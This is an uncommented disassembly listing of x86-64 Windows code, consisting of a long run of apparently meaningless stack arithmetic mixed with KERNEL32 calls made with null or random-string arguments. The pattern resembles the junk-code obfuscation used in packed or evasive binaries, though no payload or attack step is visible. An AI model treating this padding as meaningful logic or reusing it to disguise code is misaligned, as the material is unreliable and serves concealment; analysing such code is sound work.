movsx eax, word [rax]
mov rcx, qword [rsp + 0xb700]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb738]
mov word [rcx], ax
movzx eax, word [0x14022b850]
movzx ecx, word [rsp + 0xb08]
xor eax, ecx
mov word [0x14022be18], ax
lea rax, [rsp + 0xb3f0]
mov qword [rsp + 0xc990], rax
mov rax, qword [rsp + 0xc5c8]
mov rcx, qword [rsp + 0xa770]
mov qword [rsp + 0xc998], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc998]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7480], rax
mov rax, qword [rsp + 0xa800]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf58]
or eax, ecx
mov rcx, qword [rsp + 0x9cb0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1e9c]
mov rcx, qword [rsp + 0xb388]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1094], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x4d99
mov rcx, qword [rsp + 0xaf70]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4a68], eax
movsx eax, byte [rsp + 0xe9]
movsx ecx, byte [0x14022b814]
sar eax, cl
mov rcx, qword [rsp + 0xb150]
mov byte [rcx], al
mov eax, dword [rsp + 0x497c]
mov dword [rsp + 0x4c54], eax
mov rax, qword [rsp + 0xaf50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc068]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbac0], rax
mov rax, qword [0x14022bcd0]
mov rcx, qword [rsp + 0x7820]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xb760]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1130]
mov word [0x14022bf30], ax
lea rcx, [rsp + 0xb498]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0x1ebc]
mov word [rsp + 0x20a8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x46ac]
mov ecx, dword [rsp + 0x4a5c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9be0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc3a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x28e]
sub eax, ecx
mov byte [rsp + 0x1b7], al
mov rax, qword [rsp + 0xbed0]
mov rcx, qword [rsp + 0x72d0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbf70]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4bf0]
mov dword [rsp + 0x4c58], eax
mov rax, qword [rsp + 0xa2a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7e48]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x80d8], rax
lea rcx, [rsp + 0xa2b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xad48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x13f]
imul eax, ecx
mov byte [rsp + 0x90], al
movsx eax, word [0x14022b828]
mov rcx, qword [rsp + 0xb8f0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1b9c], ax
movzx eax, word [rsp + 0x1eb4]
movzx ecx, word [rsp + 0x183c]
shl eax, cl
mov word [0x140229f7c], ax
lea rdx, [rsp + 0x4c5c]
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4808], eax
mov rax, qword [rsp + 0xb2a8]
mov rax, qword [rax]
mov rcx, qword [0x140229f48]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8870], rax
movzx eax, word [rsp + 0x1f60]
mov word [rsp + 0x20ac], ax
mov rax, qword [rsp + 0xb940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc738]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1ec0], ax
mov rax, qword [rsp + 0x9278]
mov rcx, qword [rsp + 0x9f48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa938], rax
mov rax, qword [rsp + 0xba58]
mov ecx, dword [rsp + 0x3bdc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3b68], eax
mov rax, qword [rsp + 0xc210]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbad8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9380], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
movzx eax, byte [rsp + 0x388]
mov byte [rsp + 0x3da], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0x401c
mov rcx, qword [rsp + 0xbd08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4850], eax
movzx eax, word [rsp + 0x8b0]
movzx ecx, word [rsp + 0x1ca4]
sar eax, cl
mov rcx, qword [rsp + 0xb588]
mov word [rcx], ax
lea rax, [rsp + 0xc858]
mov qword [0x14022bf38], rax
mov rax, qword [rsp + 0xb480]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4674]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4bb8], eax
mov rax, qword [rsp + 0x9f08]
movzx eax, byte [rax]
mov byte [rsp + 0x3db], al
mov rax, qword [rsp + 0xb130]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1cb8]
add eax, ecx
mov word [rsp + 0x16dc], ax
lea rax, [rsp + 0x1d4c]
mov qword [rsp + 0xc9a0], rax
lea rcx, [rsp + 0xa058]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, byte [rsp + 0xce]
movsx ecx, byte [rsp + 0x37e]
and eax, ecx
mov byte [rsp + 0x36e], al
mov rax, qword [rsp + 0xc660]
mov ecx, dword [0x14022bae4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa3d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa1a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbdd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7108], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.NeIFAYCOB_fdaN9K
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc9a8], rax
mov rax, qword [rsp + 0x9c00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa460]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x8ac], ax
mov rax, qword [rsp + 0xa458]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb990]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14022badc], ax
lea rcx, [rsp + 0xc5d8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x91f8]
mov qword [rsp + 0xc9b0], rax
lea rdx, [rsp + 0x4a24]
mov rcx, qword [rsp + 0xa658]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x49f0], eax
lea rcx, [rsp + 0xc9b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xc5f8]
mov rcx, qword [rsp + 0xc5a0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9fb8]
mov qword [rcx], rax
mov rax, qword [0x14022be90]
mov qword [rsp + 0xc9c0], rax
mov rax, qword [rsp + 0x9890]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xab80]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa528]
mov word [rcx], ax
mov rax, qword [rsp + 0xc638]
mov rcx, qword [rsp + 0xa5a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7768], rax
mov rax, qword [0x14022b928]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x136]
sub eax, ecx
mov byte [rsp + 0x316], al
mov eax, dword [rsp + 0x4530]
mov ecx, dword [rsp + 0x4764]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41ec], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x2bf8
mov rcx, qword [rsp + 0xa658]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4854], eax
lea rcx, [rsp + 0xc490]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, byte [rsp + 0x3be]
mov byte [rsp + 0x3dc], al
mov rax, qword [rsp + 0x99c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xaac0]
mov qword [rsp + 0xc9c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc9c8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3d70], eax
mov rcx, qword [rsp + 0x9f50]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x1ce8]
mov word [0x14022bf40], ax
mov rax, qword [rsp + 0xc200]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc4a0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1fc8], ax
lea rax, [rsp + 0x1df8]
mov qword [rsp + 0xc9d0], rax
lea rcx, [rsp + 0xc9d8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x6f28]
mov rcx, qword [rsp + 0xb0b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9788]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc518]
movzx eax, byte [rax]
mov byte [rsp + 0x3dd], al
mov rax, qword [rsp + 0xa3d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3de0], eax
mov eax, 0x38
imul rax, rax, 2
lea rcx, [rsp + 0x1e9d0]
add rcx, rax
mov rax, rcx
add rax, 0x31
mov byte [rax], 1
mov rax, qword [rsp + 0xaff0]
mov rcx, qword [rsp + 0xc8e8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xc1f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb168]
movsx eax, word [rax]
movsx ecx, word [0x14022ba24]
and eax, ecx
mov word [rsp + 0x1434], ax
mov rax, qword [rsp + 0xbe00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbcb8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1cb0], ax
mov rax, qword [0x14022a038]
mov rcx, qword [rsp + 0xa180]
mov qword [rsp + 0xc9e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc9e0]
mov rax, qword [rax]
shl rax, cl
mov qword [0x14022b830], rax
mov rcx, qword [rsp + 0xa7a8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x1cd0]
mov qword [rsp + 0xc9e8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov rax, qword [rsp + 0xa180]
mov rcx, qword [rsp + 0xbef0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa6b0], rax
mov r9d, 0x26a3
xor r8d, r8d
lea rdx, [rsp + 0xc948]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4c60], eax
lea rax, [rsp + 0x7668]
mov qword [rsp + 0xc9f0], rax
mov rax, qword [rsp + 0x8530]
mov rcx, qword [0x14022bd18]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa668], rax
lea rcx, [rsp + 0x9b70]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, byte [rsp + 0x3b2]
mov rcx, qword [rsp + 0xb430]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x72], al
mov r9d, 0xd16
xor r8d, r8d
lea rdx, [rsp + 0xc888]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4c40], eax
mov rax, qword [rsp + 0xbdc8]
movzx eax, byte [rax]
mov byte [rsp + 0x3de], al
mov rax, qword [rsp + 0xadb0]
mov ecx, dword [rsp + 0x3ba8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c40], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x6ffe
mov rcx, qword [rsp + 0xc520]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4c64], eax
lea rax, [rsp + 0x41b0]
mov qword [rsp + 0xc9f8], rax
mov rax, qword [rsp + 0xa950]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc218]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14022a140], ax
movsx eax, word [0x14022a068]
movsx ecx, word [rsp + 0xf38]
sub eax, ecx
mov rcx, qword [rsp + 0xadd0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc7e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc6c0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1ca8], ax
lea rax, [0x14022be60]
mov qword [rsp + 0xca00], rax
movsx eax, byte [rsp + 0x2c6]
mov rcx, qword [rsp + 0xab68]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3cd], al
lea rax, [rsp + 0x4c08]
mov qword [rsp + 0xca08], rax
mov rax, qword [0x14022bc38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9430]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa5f8], rax
movsx eax, word [rsp + 0x1c78]
mov rcx, qword [rsp + 0xb278]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x16b4], ax
mov rax, qword [rsp + 0xb0a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa778]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1838], ax
mov rax, qword [rsp + 0xa748]
mov rcx, qword [rsp + 0x9780]
and rcx, rax
mov rax, rcx
mov qword [0x14022a0f8], rax
mov rax, qword [rsp + 0xc270]
mov rcx, qword [rsp + 0x8360]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc058], rax
lea rax, [rsp + 0xbb60]
mov qword [rsp + 0xca10], rax
mov rax, qword [rsp + 0xc890]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x140229fa0]
shl rax, cl
mov qword [rsp + 0x7898], rax
movzx eax, word [rsp + 0xb18]
movzx ecx, word [rsp + 0x1aec]
or eax, ecx
mov word [rsp + 0x1a94], ax
mov rax, qword [rsp + 0x9c68]
movzx eax, byte [rax]
mov byte [rsp + 0x3df], al
mov eax, dword [rsp + 0x48c4]
mov rcx, qword [rsp + 0xc510]
mov qword [rsp + 0xca18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xca18]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4ac0], eax
mov r9d, 0xffd
xor r8d, r8d
lea rdx, [rsp + 0x9708]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4998], eax
mov rax, qword [rsp + 0x9ad8]
mov rax, qword [rax]
mov qword [rsp + 0xca20], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov rax, qword [rsp + 0xaad0]
mov ecx, dword [rsp + 0x4a98]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x49f4], eax
mov rax, qword [rsp + 0xb138]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd1]
sub eax, ecx
mov byte [0x14022b816], al
movsx eax, word [rsp + 0x1f80]
movsx ecx, word [rsp + 0xd98]
sub eax, ecx
mov word [rsp + 0x1bb8], ax
lea rcx, [rsp + 0x9ad0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.5HhwQeVBpC7VNkehgB
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xca28], rax
movsx eax, word [rsp + 0x1de4]
mov rcx, qword [rsp + 0xa738]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2034], ax
mov rax, qword [rsp + 0xb548]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a28]
add eax, ecx
mov word [rsp + 0x1968], ax
mov rax, qword [rsp + 0xb098]
mov rax, qword [rax]
mov qword [rsp + 0xca30], rax
mov rax, qword [rsp + 0x9ef0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7e48]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xaf50]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbb88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb250]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xf0], al
mov rax, qword [0x14022bda8]
mov rcx, qword [rsp + 0xa3d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4ba0], eax
mov rax, qword [rsp + 0xb168]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1dd0]
xor eax, ecx
mov rcx, qword [rsp + 0xb5d0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1e7c]
mov word [0x14022bf44], ax
lea rax, [0x14022a008]
mov qword [rsp + 0xca38], rax
lea rdx, [rsp + 0x4770]
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4918], eax
mov rax, qword [rsp + 0xc7d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1848]
shl eax, cl
mov rcx, qword [rsp + 0xa430]
mov word [rcx], ax
lea rax, [rsp + 0x3b3]
mov qword [rsp + 0xca40], rax
mov rax, qword [rsp + 0x9f80]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4120]
sar eax, cl
mov dword [rsp + 0x48f0], eax
movsx eax, byte [rsp + 0x351]
movsx ecx, byte [rsp + 0x2c3]
imul eax, ecx
mov byte [rsp + 0x3d3], al
mov eax, dword [rsp + 0x4a48]
mov dword [rsp + 0x4c68], eax
mov rax, qword [0x14022a048]
mov rcx, qword [rsp + 0xc4c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6f58], rax
lea rax, [rsp + 0xc24]
mov qword [rsp + 0xca48], rax
lea rax, [rsp + 0x19b8]
mov qword [0x14022bf48], rax
mov r9d, 0x83f
xor r8d, r8d
lea rdx, [rsp + 0xc368]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4c6c], eax
mov rax, qword [rsp + 0xade8]
mov rcx, qword [rsp + 0xbf28]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa9e8], rax
lea rax, [0x140229fc0]
mov qword [rsp + 0xca50], rax
movsx eax, word [rsp + 0x1fb0]
movsx ecx, word [rsp + 0x1130]
add eax, ecx
mov word [rsp + 0x1e3c], ax
movzx eax, word [rsp + 0x1dbc]
mov rcx, qword [rsp + 0xb720]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbba8]
mov word [rcx], ax
lea rcx, [rsp + 0x9778]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, byte [rsp + 0x312]
mov rcx, qword [rsp + 0xad98]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x167], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
xor edx, edx
mov eax, dword [rsp + 0x4938]
mov ecx, 0xef4d
div ecx
mov dword [rsp + 0x40ac], eax
mov rax, qword [0x14022bc00]
mov rax, qword [rax]
mov qword [rsp + 0xca58], rax
lea rcx, [rsp + 0xa850]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x7918]
movzx ecx, al
mov rax, qword [rsp + 0x89e0]
sar rax, cl
mov rcx, qword [rsp + 0xafe8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc040]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb680]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14022bb40]
mov word [rcx], ax
mov rax, qword [0x14022bee0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f50]
sub eax, ecx
mov word [rsp + 0x2050], ax
mov rax, qword [rsp + 0xbdc8]
movzx eax, byte [rax]
mov byte [rsp + 0x3e0], al
mov eax, dword [rsp + 0x49d8]
mov ecx, dword [rsp + 0x48e4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fe0], eax
mov rax, qword [rsp + 0x7540]
movzx ecx, al
mov rax, qword [0x14022bec8]
shl rax, cl
mov qword [rsp + 0x8508], rax
mov rax, qword [rsp + 0xa028]
mov ecx, dword [rsp + 0x4a7c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3b40], eax
movsx eax, byte [rsp + 0xa0]
mov rcx, qword [rsp + 0xbf40]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xab28]
mov byte [rcx], al
lea rdx, [rsp + 0x4b4c]
mov rcx, qword [rsp + 0xb118]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4c70], eax
mov rax, qword [rsp + 0xb208]
mov rax, qword [rax]
mov qword [rsp + 0xca60], rax
movsx eax, word [rsp + 0x206c]
mov rcx, qword [rsp + 0xc2e8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbee8]
mov word [rcx], ax
mov rax, qword [rsp + 0xbf60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb5e8]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14022a144], ax
lea rax, [rsp + 0x7350]
mov qword [rsp + 0xca68], rax
mov rax, qword [rsp + 0xc9a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x19bc], ax
movsx eax, word [0x140229f68]
mov rcx, qword [rsp + 0xab30]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa558]
mov word [rcx], ax
mov rax, qword [rsp + 0xb658]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb398]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7f20], rax
movsx eax, byte [rsp + 0x395]
movsx ecx, byte [rsp + 0x3a3]
sub eax, ecx
mov rcx, qword [rsp + 0x9f18]
mov byte [rcx], al
mov rax, qword [rsp + 0x99e0]
mov rax, qword [rax]
mov qword [rsp + 0xca70], rax
mov rax, qword [rsp + 0xc430]
mov rcx, qword [rsp + 0xbf10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4af4], eax
mov rax, qword [0x14022bed0]
movzx eax, word [rax]
mov word [rsp + 0x20b0], ax
mov rax, qword [rsp + 0xacd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbed0]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14022bad0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x19f]
movzx ecx, byte [rsp + 0x361]
sar eax, cl
mov byte [rsp + 0x36a], al
mov eax, dword [rsp + 0x4968]
mov ecx, dword [rsp + 0x4958]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x49b4], eax
mov r9d, 0x1f09
xor r8d, r8d
lea rdx, [rsp + 0xbdc0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4960], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9880]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e10]
shl eax, cl
mov word [rsp + 0x106c], ax
movzx eax, word [rsp + 0x1274]
movzx ecx, word [0x14022a070]
or eax, ecx
mov word [rsp + 0x1e94], ax
mov rax, qword [rsp + 0xa478]
movzx eax, byte [rax]
mov byte [rsp + 0x3e1], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x2fc8
mov rcx, qword [rsp + 0xc000]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47bc], eax
mov eax, dword [rsp + 0x4718]
mov ecx, dword [rsp + 0x4128]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b10], eax
mov rax, qword [rsp + 0x9870]
mov rcx, qword [rsp + 0x9258]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbce0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2044]
and eax, ecx
mov word [rsp + 0x10cc], ax
movzx eax, word [rsp + 0x1cc8]
mov word [0x14022bf50], ax
lea rdx, [rsp + 0x4c74]
mov rcx, qword [rsp + 0xa248]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4bcc], eax
lea rcx, [rsp + 0xa678]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xaba0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14022bd88]
sar rax, cl
mov rcx, qword [rsp + 0xab90]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa828]
mov rax, qword [rax]
mov qword [rsp + 0xca78], rax
mov rax, qword [rsp + 0xb318]
mov rcx, qword [rsp + 0x7218]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc4c8], rax
movsx eax, word [rsp + 0x1ec4]
movsx ecx, word [rsp + 0x8ac]
add eax, ecx
mov word [rsp + 0x1f3c], ax
mov rax, qword [rsp + 0xb4e0]
mov eax, dword [rax]
mov dword [rsp + 0x4c78], eax
movsx eax, byte [rsp + 0x366]
mov rcx, qword [rsp + 0xa4a0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x3ae], al
lea rax, [0x14022a048]
mov qword [rsp + 0xca80], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rax, qword [rsp + 0xb420]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x460c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbf68]
mov dword [rcx], eax
mov rcx, qword [rsp + 0xc3d8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0x45f8]
mov rcx, qword [rsp + 0xb350]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4c7c], eax
mov rax, qword [rsp + 0xa5d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb838]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1ca], al
mov rax, qword [rsp + 0xb278]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d8c]
or eax, ecx
mov rcx, qword [0x14022bbd0]
mov word [rcx], ax
lea rax, [rsp + 0x1f08]
mov qword [rsp + 0xca88], rax
lea rcx, [rsp + 0x9dc8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xaa30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa458]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1f0c], ax
lea rax, [rsp + 0x8250]
mov qword [rsp + 0xca90], rax
mov rax, qword [rsp + 0xc430]
mov rcx, qword [rsp + 0xc390]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4778], eax
lea rax, [rsp + 0x39d]
mov qword [rsp + 0xca98], rax
mov rax, qword [0x14022bbc0]
mov rcx, qword [rsp + 0xc788]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8380], rax
movsx eax, word [rsp + 0xb98]
movsx ecx, word [rsp + 0x2054]
sub eax, ecx
mov word [rsp + 0x1f04], ax
mov rax, qword [rsp + 0xc148]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f7c]
add eax, ecx
mov word [rsp + 0xf70], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rax, qword [rsp + 0xc590]
mov rcx, qword [rsp + 0xa7f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x14022a080], rax
movzx eax, word [rsp + 0x1cd0]
mov rcx, qword [rsp + 0xa0c0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xb10], ax
mov r9d, 0x1040
xor r8d, r8d
lea rdx, [rsp + 0xb770]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4c80], eax
mov rax, qword [rsp + 0xca10]
mov rax, qword [rax]
mov qword [rsp + 0xcaa0], rax
mov rax, qword [rsp + 0x9c78]
mov rcx, qword [rsp + 0xc990]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7f08], rax
mov eax, dword [rsp + 0x4a70]
mov ecx, dword [rsp + 0x4020]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x48dc], eax
lea rax, [0x14022b810]
mov qword [rsp + 0xcaa8], rax
movzx eax, byte [rsp + 0x1f1]
mov rcx, qword [rsp + 0xbd18]
